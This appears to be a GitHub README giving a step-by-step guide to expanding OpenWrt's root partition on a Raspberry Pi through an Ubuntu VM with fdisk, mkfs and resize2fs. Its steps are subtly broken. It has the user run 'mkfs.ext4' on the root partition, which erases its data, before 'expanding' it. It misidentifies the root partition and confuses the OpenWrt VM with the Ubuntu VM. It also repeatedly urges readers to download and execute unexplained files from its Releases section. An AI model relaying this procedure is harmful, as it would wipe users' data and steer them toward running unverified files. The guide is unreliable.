Skip to content

This guide walks through resizing the root partition of OpenWrt on Raspberry Pi and compatible boards. It covers downloading the Ext4 version, expanding the root partition, setting up an Ubuntu VM with USB passthrough, using fdisk to resize partitions, and verifying changes, with troubleshooting tips.

License

Notifications You must be signed in to change notification settings

QuestChillz/Expanding-the-Root-Partition-for-OpenWrt-on-Raspberry-Pi

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

26 Commits
 
 
 
 

Repository files navigation

🛠️ Expanding the Root Partition for OpenWrt on Raspberry Pi 🌐

OpenWrt on Raspberry Pi

Welcome to the Expanding the Root Partition for OpenWrt on Raspberry Pi repository! This guide walks you through the process of resizing the root partition of OpenWrt on Raspberry Pi and compatible boards. If you’re looking to optimize your OpenWrt installation, you’re in the right place.

📚 Table of Contents

  1. Introduction
  2. Prerequisites
  3. Download OpenWrt
  4. Setting Up Your Environment
  5. Expanding the Root Partition
  6. Verifying Changes
  7. Troubleshooting
  8. Contributing
  9. License
  10. Links

📖 Introduction

This guide provides step-by-step instructions for resizing the root partition on OpenWrt. The process includes downloading the Ext4 version, setting up an Ubuntu VM with USB passthrough, using fdisk to resize partitions, and verifying your changes. Whether you are a beginner or an experienced user, this guide aims to help you through each step.

You can find the necessary files in the Releases section. Please ensure you download and execute the files as instructed.

🛠️ Prerequisites

Before you start, ensure you have the following:

  • A Raspberry Pi or compatible board.
  • An SD card with OpenWrt installed.
  • A computer running Ubuntu or another Linux distribution.
  • VirtualBox installed on your computer.
  • Basic knowledge of terminal commands.

📥 Download OpenWrt

  1. Visit the OpenWrt Downloads page.
  2. Locate the Ext4 version for your Raspberry Pi model.
  3. Download the image file to your computer.

Make sure to check the Releases section for any additional files you may need.

🖥️ Setting Up Your Environment

1. Install VirtualBox

If you haven't installed VirtualBox yet, you can do so using the following command:

sudo apt update
sudo apt install virtualbox

2. Create a New Virtual Machine

  1. Open VirtualBox.
  2. Click on "New" to create a new VM.
  3. Set the name to "OpenWrt VM".
  4. Choose "Linux" as the type and "Ubuntu (64-bit)" as the version.
  5. Allocate at least 1 GB of RAM.
  6. Create a virtual hard disk (VDI) and allocate at least 8 GB of space.

3. USB Passthrough Setup

  1. Go to the settings of your VM.
  2. Click on "USB".
  3. Enable USB Controller and add a USB device filter for your SD card reader.

📏 Expanding the Root Partition

1. Boot into the Ubuntu VM

  1. Start your OpenWrt VM.
  2. Open a terminal in Ubuntu.

2. Identify the SD Card

Run the following command to list all connected drives:

lsblk

Find your SD card in the list. It will usually be listed as /dev/sdX where X is a letter.

3. Resize the Partition

  1. Open fdisk to modify the partition table:
sudo fdisk /dev/sdX
  1. Press p to print the partition table.
  2. Note the start sector of the root partition (usually the first partition).
  3. Delete the existing partition by pressing d and selecting the partition number.
  4. Create a new partition by pressing n, selecting p for primary, and entering the same start sector. Use the default end sector to utilize the full space.
  5. Press w to write changes and exit.

4. Format the New Partition

Run the following command to format the new partition as Ext4:

sudo mkfs.ext4 /dev/sdX1

5. Expand the File System

To expand the file system to fill the partition, use:

sudo resize2fs /dev/sdX1

✅ Verifying Changes

After resizing, verify that the changes took effect:

  1. Run df -h to check the available space.
  2. Use e2fsck to check the file system:
sudo e2fsck -f /dev/sdX1

🛠️ Troubleshooting

If you encounter issues, consider the following tips:

  • Ensure your SD card is properly connected.
  • Double-check the partition sizes and sectors.
  • Review the VirtualBox USB settings.

If problems persist, consult the Releases section for additional resources.

🤝 Contributing

Contributions are welcome! If you have suggestions or improvements, please fork the repository and submit a pull request.

📜 License

This project is licensed under the MIT License. See the LICENSE file for details.

🔗 Links

For additional resources and updates, visit the Releases section.

Thank you for checking out this guide! We hope it helps you successfully expand the root partition for OpenWrt on your Raspberry Pi.

About

This guide walks through resizing the root partition of OpenWrt on Raspberry Pi and compatible boards. It covers downloading the Ext4 version, expanding the root partition, setting up an Ubuntu VM with USB passthrough, using fdisk to resize partitions, and verifying changes, with troubleshooting tips.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Contributors 2

  •  
  •